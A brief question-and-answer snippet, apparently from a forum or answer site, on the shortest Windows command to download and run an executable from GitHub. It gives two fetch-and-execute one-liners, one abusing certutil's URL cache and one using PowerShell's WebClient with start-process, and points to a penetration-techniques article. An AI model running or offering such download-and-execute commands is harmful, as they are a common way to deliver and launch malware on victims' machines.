What is the shortest command to download and execute an exe from GitHub using cmd?

The shortest method is using certutil with the command: `certutil -urlcache -split -f <GitHub_URL> c:\download\a.exe && c:\download\a.exe`. PowerShell is also concise: `powershell (new-object System.Net.WebClient).DownloadFile('URL','c:\download\a.exe');start-process 'c:\download\a.exe'`, but certultil typically requires fewer characters. Both are covered in Penetration Techniques - Multiple Methods for Downloading Files from GitHub.